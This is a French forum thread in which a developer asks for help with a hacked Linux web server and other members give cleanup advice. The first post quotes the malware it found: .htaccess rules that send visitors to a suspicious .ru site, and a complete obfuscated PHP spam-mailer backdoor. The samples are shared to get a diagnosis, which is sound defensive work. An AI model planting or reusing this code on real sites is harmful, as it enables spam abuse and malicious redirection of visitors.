Précédent   Forum des professionnels en informatique > Systèmes > Linux > Sécurité
Sécurité Vos questions sur la sécurité sous Linux/Unix
Partagez cette discussion sur d'autres réseaux sociaux : Viadeo Twitter Google Facebook Digg Delicious MySpace Yahoo
Réponse Proposer ce sujet en actualité
Outils de la discussion
Publicité
'
Vieux 17/12/2011, 16h29   #1
Invité de passage
 
Inscription : décembre 2008
Messages : 15
Détails du profil
Informations forums :
Inscription : décembre 2008
Messages : 15
Points : 1
Points : 1
Par défaut Serveur hacké - htaccess + php

Bonjour,

Je suis confronté à un problème de taille.
Le serveur qui héberge une partie des sites a été hacké, je ne connais pas le degré de gravité. Pour tout dire, je suis développeur et mes connaissances en administration système sont rudimentaires, malheureusement je dois un peu me "démerder", la personne s'occupant du serveur est en vacances.

Donc je viens crier a l'aide !

Voici les symptômes :
Toutes les 2-3h, des fichiers htaccess sont créés ou modifiés avec une tartine de redirection vers des sites louches, dans presque tous les dossiers de sites, et sous dossiers.

Code :
1
2
3
4
5
6
7
8
9
10
<IfModule mod_rewrite.c>	
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|baidu|youtube|wikipedia|qq|excite|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing)\.(.*)				
RewriteRule ^(.*)$ http://aboutconvert.ru/kernel/index.php [R=301,L]	RewriteCond %{HTTP_REFERER} ^.*(dogpile|facebook|twitter|blog|live|myspace|mail|yandex|rambler|ya|aport|linkedin|flickr|nigma|liveinternet|vkontakte|metabot|dmoz|euroseek|about|icq)\.(.*)		
RewriteRule ^(.*)$ http://aboutconvert.ru/kernel/index.php [R=301,L]	
</IfModule>
ErrorDocument 400 http://aboutconvert.ru/kernel/index.php			ErrorDocument 401 http://aboutconvert.ru/kernel/index.php			
ErrorDocument 403 http://aboutconvert.ru/kernel/index.php	
ErrorDocument 404 http://aboutconvert.ru/kernel/index.php
ErrorDocument 500 http://aboutconvert.ru/kernel/index.php
Il y a aussi des fichiers php générés avec des noms bizarre comme sm5cg0.php, last.php, old.php

Code php :
error_reporting(0); if (!isset($_POST['l']) || !isset($_POST['d'])) die(PHP_OS . "10+" . md5(0987654321)); $v01b6e203 = stripslashes($_POST['l']); $v8d777f38 = stripslashes($_POST['d']); preg_match('|<USER>(.*)</USER>|imsU', $v8d777f38, $vee11cbb1); $vee11cbb1 = $vee11cbb1[1]; preg_match('|<NAME>(.*)</NAME>|imsU', $v8d777f38, $vb068931c); $vb068931c = $vb068931c[1]; preg_match('|<SUBJ>(.*)</SUBJ>|imsU', $v8d777f38, $vc34487c9); $vc34487c9 = $vc34487c9[1]; preg_match('|<SBODY>(.*)</SBODY>|imsU', $v8d777f38, $v6f4b5f42); $v6f4b5f42 = $v6f4b5f42[1]; preg_match('|<IMG>(.*)</IMG>|imsU', $v6f4b5f42, $v3ba24a80); $v3ba24a80 = $v3ba24a80[1]; $v0897acf4 = $_SERVER['SERVER_NAME']; if (ne667da76($v0897acf4)) { $v10497e3f = false; } else { if ($vb068931c != '') $vd98a07f8 = "$vb068931c "; $v0c83f57c = $vee11cbb1 . "@" . preg_replace('/^www\./i', '', $v0897acf4); $vd98a07f8 .= "<$v0c83f57c>"; $v4340fd73 = "From: $vd98a07f8\r\n"; $v10497e3f = true; } if (((strtolower(@ini_get('safe_mode')) == 'on') || (strtolower(@ini_get('safe_mode')) == 'yes') || (strtolower(@ini_get('safe_mode')) == 'true') || (ini_get("safe_mode") == 1 ))) { $v10497e3f = false; } $vf2b57013 = "==" . substr(sha1(date('r', time())), 16) . "=="; $v6e6eea18 = "==" . substr(sha1(date('r', time()+10)), 16) . "=="; $v435ed7e9 = "DCS00" . rand (0,9) . rand (0,9) . rand (0,9) .rand (0,9) .".jpg"; if ($v3ba24a80) { $v4b7cc569 = substr(sha1(date('r', time()+11)), 1, 8); $va11fa8df = ini_get('session.save_path'); $v2346ae27 = md5($v3ba24a80); if (file_exists("$va11fa8df/sess_$v2346ae27")) { $v5f163541 = chunk_split(base64_encode(file_get_contents("$va11fa8df/sess_$v2346ae27"))); } else { $v72611e52 = file_get_contents($v3ba24a80); $v5f163541 = chunk_split(base64_encode($v72611e52)); $v65ee5956 = fopen("$va11fa8df/sess_$v2346ae27", "w+"); fwrite($v65ee5956, $v72611e52); fclose($v65ee5956); } $v6f4b5f42 = preg_replace('|<IMG>.*</IMG>|imsU', "<img src=\"cid:$v4b7cc569@$v0897acf4\">", $v6f4b5f42); } $v6f4b5f42 = chunk_split(base64_encode($v6f4b5f42)); $v4340fd73 .= "MIME-Version: 1.0\r\n"; $v4340fd73 .= "Content-Type: multipart/mixed; boundary=\"$vf2b57013\"\r\n"; $v841a2d68 = "--"."$vf2b57013\nContent-Type: multipart/related; boundary=\"$v6e6eea18\";\n type=\"text/html\"\n\n--"."$v6e6eea18\nContent-Type: text/html; charset=\"iso-8859-1\"\nContent-Transfer-Encoding: base64\n\n$v6f4b5f42"; if ($v3ba24a80) { $v841a2d68 .= "\n--"."$v6e6eea18\nContent-Type: image/jpeg; name=\"$v435ed7e9\"\nContent-Transfer-Encoding: base64\nContent-ID: <$v4b7cc569@$v0897acf4>\nContent-Disposition: inline; filename=\"$v435ed7e9\"\n\n$v5f163541"; } $v841a2d68 .="\n\n--"."$v6e6eea18"."--\n\n--"."$vf2b57013"."--\n"; if ($v10497e3f) { if (mail($v01b6e203, $vc34487c9, $v841a2d68, $v4340fd73, "-f$v0c83f57c")) echo "OK" . md5(1234567890); else die(PHP_OS . "20+" . md5(0987654321)); } else { if (mail($v01b6e203, $vc34487c9, $v6f4b5f42, $v4340fd73)) echo "OK" . md5(1234567890); else die(PHP_OS . "20+" . md5(0987654321)); } exit; function ne667da76($v957b527b){ return preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/", $v957b527b); }

Des fichiers html avec des iframes qui ouvre des pages de sites louches...

Je ne sais pas quoi, j'ai beau les virer ça revient toujours.
Je n'arrive pas à trouver la faille.
J'ia mis des htaccess en root sensés protéger les .ht, et interdire les scripts dans les dossiers d'images,css.... mais ils sont réécrits et changé de groupe !

Connaissez vous des pistes, ou des actions à mener pour combattre ce genre d'infection ?

Merci
flo974 est déconnecté   Envoyer un message privé Réponse avec citation 00
Vieux 17/12/2011, 20h17   #2
Expert Confirmé Sénior
 
Homme Laurent Willems
Expert Stop/Start
Inscription : septembre 2002
Messages : 2 551
Détails du profil
Informations personnelles :
Nom : Homme Laurent Willems
Âge : 33
Localisation : Belgique

Informations professionnelles :
Activité : Expert Stop/Start

Informations forums :
Inscription : septembre 2002
Messages : 2 551
Points : 4 271
Points : 4 271
La faille peut très bien être exploitée au niveau du portail même.

Il faut identifier le ou les portails qui peuvent disposer d'une faille de sécurité éventuelle et il faut analyser les logs du serveur s'ils n'ont pas été effacés par le pirate.

Tu as également des framework tel que samurai qui te permettent de tester les vulnérabilités les plus communes au niveau de ton portail.

http://samurai.inguardians.com/
__________________
Alea Jacta Test!
Mygale1978 est déconnecté   Envoyer un message privé Réponse avec citation 00
Vieux 18/12/2011, 11h28   #3
Invité de passage
 
Inscription : décembre 2008
Messages : 15
Détails du profil
Informations forums :
Inscription : décembre 2008
Messages : 15
Points : 1
Points : 1
Merci pour les infos.

En remontant dans les logs, j'ai localisé le premier déclenchement d'un script php, un filesman... maintenant j'en trouvé à plusieurs endroits

D'après ce que j'ai lu, il faut que je change tous les codes ftp, code root, supprimer l'ensemble des fichiers infectés, trouver les failles et renforcer la sécurité au niveau de php, apache, et des dossiers... beaucoup de travail en perspective. J'espère que cela réglera le problème.

Si vous avez d'autres conseils, je suis preneur.

Merci
flo974 est déconnecté   Envoyer un message privé Réponse avec citation 00
Vieux 19/12/2011, 16h21   #4
Expert Confirmé
 
Avatar de Katyucha
 
Inscription : mars 2004
Messages : 3 109
Détails du profil
Informations personnelles :
Âge : 31
Localisation : Allemagne

Informations forums :
Inscription : mars 2004
Messages : 3 109
Points : 3 313
Points : 3 313
Je ne connais pas ton hébergeur mais la première chose à faire après avoir changer TOUT les mdp, c'est de voir si tu peux isoler le serveur et que seul ton ip puisse y acceder, ca te permet de travailler tranquillement
__________________
Ancien Rédacteur Linux && Unix / Nouveau retraité de DVP
The UNIX way of sex:
gunzip;strip;touch;finger;mount;fsck;more;yes;umount;sleep

Je ne réponds ni aux messages privées, ni aux messages plein de fautes...
Katyucha est déconnecté   Envoyer un message privé Réponse avec citation 10
Vieux 23/12/2011, 08h24   #5
Membre éclairé
 
Homme Jean-marie Bourbon
Administrateur systèmes et réseaux
Inscription : septembre 2007
Messages : 198
Détails du profil
Informations personnelles :
Nom : Homme Jean-marie Bourbon
Âge : 30
Localisation : France, Aude (Languedoc Roussillon)

Informations professionnelles :
Activité : Administrateur systèmes et réseaux
Secteur : Administration - Collectivité locale

Informations forums :
Inscription : septembre 2007
Messages : 198
Points : 361
Points : 361
Bonjour,

Le soucis ne viens peut être même pas de ton site mais d'un autre hébergé sur le même serveur!

Après changer tes pass ne servira a rien si tu ne sais pas d’où et comment s'y est pris l'assaillant puisqu'il est évident que le serveur s'est fait rooté ..

Bon courage..
messinese est déconnecté   Envoyer un message privé Réponse avec citation 00
Vieux 03/04/2012, 14h25   #6
Nouveau Membre du Club
 
Inscription : mars 2006
Messages : 111
Détails du profil
Informations personnelles :
Âge : 22

Informations forums :
Inscription : mars 2006
Messages : 111
Points : 27
Points : 27
Bonjour,

Messinese a tout à fait raison !

Est-ce que vous utilisez votre propre serveur ?
Quels services sont dessus ? Depuis quand vous êtes vous rendu compte qu'il y avait un problème ?
metalamania est déconnecté   Envoyer un message privé Réponse avec citation 00
Vieux 07/04/2012, 10h02   #7
Responsable Modération
 
Avatar de ok.Idriss
 
Homme Idriss Neumann
Consultant en SSII et étudiant au CNAM Paris (ingénieur SI)
Inscription : février 2009
Messages : 1 991
Détails du profil
Informations personnelles :
Nom : Homme Idriss Neumann
Âge : 21
Localisation : France, Essonne (Île de France)

Informations professionnelles :
Activité : Consultant en SSII et étudiant au CNAM Paris (ingénieur SI)

Informations forums :
Inscription : février 2009
Messages : 1 991
Points : 6 161
Points : 6 161
Bonjour.

Sur quel type d'hébergement est-tu ? Mutualisé ?

1 - Comme ça a été dit : changer tout les mots de passes (FTP, MySQL, SSH ou autre).
2 - Faire un dump de MySQL en vérifiant le contenu.
3 - Si les choses ont été faites correctement, tu doit avoir des backups de tes sites en local. Si c'est bien le cas, tout écraser (tout supprimer), tout ré-uploader et ré-insérer les données dumpées si elles sont fiables.
4 - Si possible, vérifier les droits des fichiers (que seul le propriétaire et groupe propriétaire y ai accès en écriture, pour la lecture et exécution : tout le monde).
5 - Changer les mots de passes des comptes administrateurs des sites si de tels comptes existent.
6 - Vérifier s'il y a des failles au niveau des sites : modules d'uploads non fiables (car aucune vérification de contenus, etc), requêtes non protégées (bon là il ne s'agit pas d'injection SQL mais autant revoir toute la sécurité dans la foulée), vérifier les failles XSS, etc.
7 - Impérativement contacter ton hébergement : si c'est du mutualisé et que le compte root a été hacké, tout les hébergés peuvent être infectés. Si c'est le cas, changer d'hébergeur car c'est un manque cruel de fiabilité (les attaques comme le dénis de service, ça peux arriver mais ce genre de choses -_-).

Cordialement,
Idriss
ok.Idriss est déconnecté   Envoyer un message privé Réponse avec citation 00
non lus 26/05/2012, 11h02   #8
Invité de passage
 
Femme salamat
Technicien réseau
Inscription : mai 2012
Messages : 1
Détails du profil
Informations personnelles :
Nom : Femme salamat
Localisation : Maroc

Informations professionnelles :
Activité : Technicien réseau
Secteur : High Tech - Multimédia et Internet

Informations forums :
Inscription : mai 2012
Messages : 1
Points : 1
Points : 1
Par défaut serveur hacké

Bonjour,
Premièrement merci pour vos réponses.

Citation:
Le soucis ne viens peut être même pas de ton site mais d'un autre hébergé sur le même serveur !
C'est vrai mais comment on peut le savoir?

vous pouvez me donner la commande pour voir des logs d'un serveur linux.
Merci d'avance.
m.salamatt est déconnecté   Envoyer un message privé Réponse avec citation 00
non lus 26/05/2012, 12h20   #9
Responsable Modération
 
Avatar de ok.Idriss
 
Homme Idriss Neumann
Consultant en SSII et étudiant au CNAM Paris (ingénieur SI)
Inscription : février 2009
Messages : 1 991
Détails du profil
Informations personnelles :
Nom : Homme Idriss Neumann
Âge : 21
Localisation : France, Essonne (Île de France)

Informations professionnelles :
Activité : Consultant en SSII et étudiant au CNAM Paris (ingénieur SI)

Informations forums :
Inscription : février 2009
Messages : 1 991
Points : 6 161
Points : 6 161
Bonjour.

Citation:
C'est vrai mais comment on peut le savoir?
Si c'est de l'hébergement mutualisé, il faut voir cela avec l’hébergeur car tu n'as pas forcemment les droits dessus. Si ce n'est pas le cas, il faut regarder les fichiers en question, l'utilisateur qui l'a crée etc. Changer les mots de passes, etc.

Citation:
vous pouvez me donner la commande pour voir des logs d'un serveur linux.
De manière générale, il faut aller voir au niveau des fichiers de /var/log. En l'occurrence, si c'est un compte FTP ou SSH qui a été piraté, ils ne seront pas forcemment d'une grande utilité. Si c'est un hébergement mutualisé, il n'est pas garantie que tu ait un accès aux logs du serveur (à ceux de PHP et d'apache peut être mais probablement pas plus).

Si ce sont des questions d'ordre plus générale sur l'administration et la sécurité des serveurs web que tu as, il vaut mieux ouvrir une nouvelle discussion

Cordialement,
Idriss
ok.Idriss est déconnecté   Envoyer un message privé Réponse avec citation 00
Réponse Proposer ce sujet en actualité
Outils de la discussion



Fuseau horaire GMT +2. Il est actuellement 19h55.


 
 
 
 
Partenaires

Hébergement Web